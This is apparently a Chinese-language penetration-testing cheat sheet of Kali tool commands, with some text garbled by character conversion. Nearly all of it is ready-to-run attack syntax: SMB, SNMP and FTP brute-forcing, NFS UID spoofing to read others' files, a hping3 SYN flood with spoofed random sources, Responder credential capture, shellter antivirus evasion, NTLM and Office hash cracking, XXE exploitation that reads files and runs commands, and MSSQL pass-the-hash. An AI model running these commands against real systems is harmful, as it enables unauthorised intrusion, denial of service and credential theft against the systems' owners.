基于端口攻擊的攻擊
基于smb的攻擊
1.acccheck
acccheck -t 192.168.1.1 -u root -p root -v //基礎文法
參數: -t/T 目标位址/批量字典 -p/P 密碼/密碼字典 -u/U 賬号/賬号字典
2.smbmap(smb資訊收集器)
smbmap -H 192.168.1.1 //收集smb共享的資訊
smbmap -H 192.168.1.1 -u anonymous //匿名登入
smbmap -H 192.168.1.1 -u lee -p xinxin123 -d 域名 //域環境登陸
3.smbclient(smb用戶端連接配接器)
smbclient -N //192.168.1.1/IPC //連接配接ipc,不用詢問密碼
smbclient -L 172.16.0.10 -U arm554 //一般是389端口未授權通路
smbclient -L 172.16.0.10 -U arm554 -W rnm --pw-nt-hash //W是工作組,用hash登入
4.enum4linux(基于周遊sid)
enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt 周遊sid的序列 從1000-50000,寫入enum4linux.txt裡
基于snmp協定的攻擊
1.snmp-check
snmp-check 192.168.1.109 -c public -v 2c
參數:
-p 指定SNMP服務端口 -w 檢查是否可寫
-c 指定community(預設 public) -r 重試次數(預設1次)
-v 指定snmp版本(1、2c,預設1) -t 逾時時長(預設5秒)
-d 禁用TCP 連接配接嘗試
2.snmpwalk(弱密碼探測器)
snmpwalk的參數比較多,但是我們比較常用的就隻有-v和-c參數
-v是版本,一般是1 2c 3 -c一般用public
snmpwalk -v 2c -c public 10.1.1.1 .1.3.6.1.2.1.25.2.2 取得系統總記憶體
snmpwalk -v 2c -c public 10.1.1.1 hrSystemNumUsers 取得系統使用者數
snmpwalk -v 2c -c public 10.1.1.1 .1.3.6.1.2.1.4.20 取得IP資訊
snmpwalk -v 2c -c public 10.1.1.1 system 檢視系統資訊
snmpwalk -v 2c -c public 10.1.1.1 ifDescr 擷取網卡資訊
snmpwalk -r:$IP -c:public -os:1.3.6.1.4.1.2011.5.2.1.10.1 //擷取使用者名及加密密碼
其他端口
1.nfs 2049
1.rpcinfo
rpcinfo -p ip 檢視該主機挂載nfs端口沒有
2.showmount
showmount -e ip 顯示出nfs挂載的目錄 showmount -a IP // 挂載點
showmount IP // 連接配接的主機 showmount -d IP // 目錄
因為此端口接觸的比較少,是以就花一點時間來記錄一下
mkdir /temp/ //建立一個檔案夾
mount -t nfs 192.168.1.172:/ /temp -o nolock //用temp,來挂載我們的nfs檔案
df -h //通路192.168.1.172的磁盤資訊
如果我們沒有權限去通路讀取某些檔案,那麼我們可以uid操作
ls -al //擷取檔案所有者的UID(使用者ID)和GUID(組ID)
useradd <user> passwd <user> //在本地建立一個新使用者,并将該使用者的UID和名稱修改為與檔案所有者相同
vi /etc/passwd //然後修改uid,即可
su <useraccount> //然後以su執行我們剛剛建立的使用者即可
資訊收集
域名收集
1.dnsenum(域名爆破器)
dnsenum baidu.com
--dnsserver 8.8.8.8 指定DNS server -o report.xml 輸出XML格式的檔案
--enum 指定線程5,使用谷歌查詢,進行whois查詢 -w 進行whois查詢
--noreverse 跳過反向域名查詢 -f dns.txt 指定域名爆破字典
--threads 指定線程
2.dnsrecon(域名爆破器)
dnsrecon -d sina.com.cn 基本的SOA、NS、A、AAAA、MX、SRV查詢 dnsrecon -g -d sina.com.cn 标準加google
dnsrecon -r 60.28.2.0/24 反向PTR查詢域名 dnsrecon -D dictionary.txt sina.com.cn 字典爆破主機和子域名
dnsrecon -a -d sina.com.cn 标準加axfr區域傳輸 dnsrecon -z -d weberdns.de 利用NSEC記錄擷取區域内全部記錄,無需爆破
dnsrecon -w -d sina.com.cn 标準加whois查詢
-t brt 使用内建字典 --threads 指定線程數
-t std 預設的标準查詢 -t tld 删除并嘗試所有頂級域名(IANA)
-t srv 隻查srv記錄(AD、voip電話) -t axfr 标準加axfr記錄(-a)
3.dnswalk
-r #對指定域名的子域進行遞歸查詢 -l #檢查區域檔案中NS記錄主機是否能傳回正确的應答
-a #發現重複的A記錄發出告警 -i #不檢查域名中的無效字元
-d #将調試狀态資訊輸出到stderr -F #檢查PTR記錄IP是否與對應A記錄相符
-m #僅檢查上次運作後發生變化的記錄
4.fierce(dns爆破)
fierce -dns baidu.com
目錄收集
1.nikto(掃描器)
nikto -h 192.168.1.1 掃目錄,-h指定位址
2.dirbuster https://192.168.160.1 (掃描器)
3.dirb (掃描器)
dirb https://192.168.160.1 ./aspx.txt
dirb https://192.168.160.1 ./aspx.txt ./dir.txt //多字典挂載
dirb https://192.168.160.1 ./aspx.txt -a "ua" -c "cookie" //自定義user-agent,cookie
主機探尋
1.dnstracer(路由跟蹤)
dnstracer -co4 -s . www.baidu.com
-c #不使用本地緩存 -s . #指定初始查詢的伺服器是根域
-o #隻顯示查詢簡介 -4 #不進行IPv6查詢
2.hping3(發包工具)主要測試防火牆的攔截規則
正常用法 hping3 192.168.1. 端口掃描 hping3 192.168.1.1 -S -8 1-1024
LandAttack hping3 192.168.1.1 -S -a 192.168.1.1 -p 80 ICMP路由追蹤 hping3 www.baidu.com -T -V -1
DoS Attack hping3 192.168.1.1 -V -d 100 -S -w 64 -p 445 -s 445 --flood --rand-source
基礎參數:
-c 限制發送總數 -T 路由探測
-i 發包廂隔X秒,ux 微妙 -e 指定特征碼/資料内容
--flood 利用主機最大性能發包 -E 指定檔案内容作為資料發送
-I 指定網卡 -d 控制資料段大小
-D debug -z Ctrl +z 綁定TTL值,按一下TTL值加一,按兩下減一
協定選擇:
【*】預設使用TCP協定,預設端口0,無任何flag
-0 #rawip,預設TCP為上層協定,但無TCP頭 -9 listen模式,此處和-e 連用可以比對特征碼
-H 指定IP頭協定字段,隻能工作在rawip模式下 -8 scan模式,對目标端口進行掃描(-S/F/X/Y/A/R/P/U)
-1 ICMP模式,發送icmp包 -2 發送UDP包,預設端口0
定制IP頭:
-a 僞造源IP -f IP資料段每16位元組分片,-m 指定具體數值
--rand-source 随機僞造原位址 -r 發現IPID變化規律(注意看id 字段)
--rand-dest 随機目的位址 -N 指定IPID,預設随機(當需要分片發送資料包時使用)
-t 指定TTL值
定制TCP/UDP
-s 指定源端口(第一個包會是被指定的端口,後續包的源端口會依次加一) --tcp-timestamp 啟動時間戳選項,猜測遠端UP主機時間
-p 指定目标端口 --tcp-mss 指定最大TCP段大小
-w 指定window 大小(可用于進行slowhttp攻擊) -b 指定checksum
-M 指定sequence number -Q 發現目标機器sequence number變化規律
3. unicornscan(基于ARP的掃描工具)
unicornscan -mU 192.168.1.100
4.netdiscover(基于ARP的掃描工具)
netdiscover -r 192.168.1.0/24 -i wlan0
5.arpscan(基于ARP的掃描工具)
arp-scan --interface=wlan0 --localnet
6.tcpdump(捕獲ICMP資料包)
tcpdump -i tun0 icmp
基于内網滲透
1.responder(基于内網WPAD的中間人攻擊)
文法: responder -I eth0 -wFb 擷取内網請求明文密碼
2.ldapsearch(内網滲透資訊收集的工具)
參數說明:
-x 進行簡單認證 -b 指定要查詢的根節點
-H 伺服器位址 -w 綁定DN的密碼
-D 用來綁定伺服器的DN
dapsearch -x -H ldap://192.168.1.1:389 -D "CN=test,CN=Users,DC=test,DC=com" -w abc123! -b "DC=test,DC=com" | grep replUpToDateVector -A 13 //簡單的擷取密碼政策
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=test,CN=Users,DC=test,DC=com" -w abc123! -b "DC=test,DC=com"
3.shellter(免殺)
有些kali自帶,有些不自帶,然後具體跟MSF一樣,我就介紹一些參數
Enable Stealth Mode,是否啟用隐身模式,啟用後免殺效果會變差,建議不啟用。
4.searchsploit(找漏洞)
searchsploit drupal 7.x //查找drupal7的漏洞 searchsploit wordpress //查找wordpress的漏洞
searchsploit drupal 7.x -x exploits/php/webapps/38041.txt //檢視具體的文章内容或者EXP代碼
searchsploit drupal 7.x -m exploits/php/webapps/38041.py //将EXP複制到目前路徑
searchsploit -t windows local 查找windows的漏洞
searchsploit -t Apache local 查找apache的漏洞
5.hashcat (破解hash的,也可以識别加密方式)
參數講解:-a 指定要使用的破解模式
0 | Straight(字段破解) 1 | Combination(組合破解) 3 | Brute-force(掩碼暴力破解) 6 | Hybrid Wordlist + Mask(字典+掩碼破解) 7 | Hybrid Mask + Wordlist(掩碼+字典破解)
-m 指定要破解的hash類型,如果不指定類型,則預設是MD5
常用的指令:
hashcat -m 5600 Querier.NetNTLMv2 /usr/share/mima.txt //破解NetNTLMv2hash
hashcat -a 0 -m 1000 hash ./dic.txt 1000是ntlm-hash
hashcat -a 0 hash.txt password.txt -o result.txt //批量破解
hashcat -a 3 -m 300 --force 6A39F250FBF1C33310D48BB5596D9DD703BEBB8B //破解mysql4.1/5(password)函數
hashcat -a 3 -m 132 --force 0x01008c8006c224f71f6bf0036f78d863c3c4ff53f8c3c48edafb //破解mssql
hashcat -a 0 -m 1800 hash 1.txt -D 1 //這個是破解SHA-512,-D 1調用CUP裝置進行運算 這裡順便補充一下格式
$1(5)(6)$ 分别表示md5 SHA-256 SHA-512
hashcat -a 3 -m 13000 --force $rar5$16$639e9ce8344c680da12e8bdd4346a6a3$15$a2b056a21a9836d8d48c2844d171b73d$8$04a52d2224ad082e //破解rar檔案壓縮密碼
hashcat -a 3 -m 9600 $office$*2013*100000*256*16*e4a3eb629c*577f8d8b2e1c5f60fed76e62327b38d28f25230f6c7dfd66588d9ca8097aabb9 --force //破解Office檔案
6.john(也是破解hash的)
john --worldlist=/usr/share/mima.txt Querier.NetNTLMv2
7.sslscan https://192.168.160.1 (能掃心髒滴血)
8.svwar (定位sip extension的)
文法:svwar -e100-999 10.0.0.1(一般配合某套系統打組合拳用),比如Elastix 系統
其他工具
1.7z (解壓工具)
2.medusa(爆破工具)
medusa -h *.*.*.* -U u.txt -P p.txt -e ns -O ok.txt -t 3 -T 3 -v 6 -M ftp
3.rar2john zip2john rar2john 1.rar //zip,rar,還有office檔案 python3 office2john.py 1.docx
一些重要的工具
whatweb
whatweb -v 3 192.168.159.1 單獨探測
whatweb 112.125.93.227/24 --url-suffix=":8080" 掃了某一個C段,批量探測端口
whatweb -a 3 --proxy-user admin:passwoed www.dvwa.com/login.php --proxy-user admin:password通過--proxy-user的方式可以指定使用者名和密碼進行探測
wpscan
wpscan --url https://www.xxxxx.wiki/ 掃網站
wpscan --url https://www.xxxxxxx.wiki/ --enumerate u 我們可以對其使用者進行枚舉
wpscan --url https://www.xxxxx.wiki/ -e u --wordlist /root/桌面/password.txt 用字典
wpscan -u https://www.xxxxx.wiki/ -enumerate p 掃插件
wpscan --url https://www.xxxxx.wiki/ --enumerate vp 掃插件内容
wpscan --url https://www.xxxxx.wiki --enumerate t 掃主題
wpscan --url https://www.xxxxxx.wiki --enumerate vt 掃主題存在的漏洞
wpscan -u https://www.xxxxxx.wiki/ -enumerate tt 掃檔案漏洞
joomscan
joomscan -u http://192.168.1.109/ 掃網站
msscan
masscan 10.0.0.0/8 -p80 --banners --source-ip x.x.x.x 擷取banner資訊
masscan -p80,3306,8080-8100 45.153.42.0/24 我用的最多的指令
XXEinjector
(1)枚舉HTTPS應用程式中的/etc目錄
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
(2)使用gopher(OOB方法)枚舉/etc目錄:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
(3)二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
(4)使用HTTP帶外方法和netdoc協定對檔案進行爆破攻擊
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
(5)通過直接性漏洞利用方式進行資源枚舉
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
(6)枚舉未過濾的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
(7)竊取Windows哈希
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
(8)使用Java jar上傳檔案:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
(9)使用PHP expect執行系統指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
(10)測試XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
(11)記錄請求資訊
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.tx
mssqlclient.py
python3 mssqlclient.py cpwgp:[email protected] 基于mssql賬戶認證
python3 mssqlclient.py leecinsy/cpwgp:[email protected] -windows-auth 基于windows認證
python3 mssqlclient.py cpwgp:[email protected] -file command.txt 執行command裡的指令 執行sql指令
python3 mssqlclient.py -p 1433 -hash :aaaa leecinsy/[email protected] -file sql.txt -windows-auth 用hash執行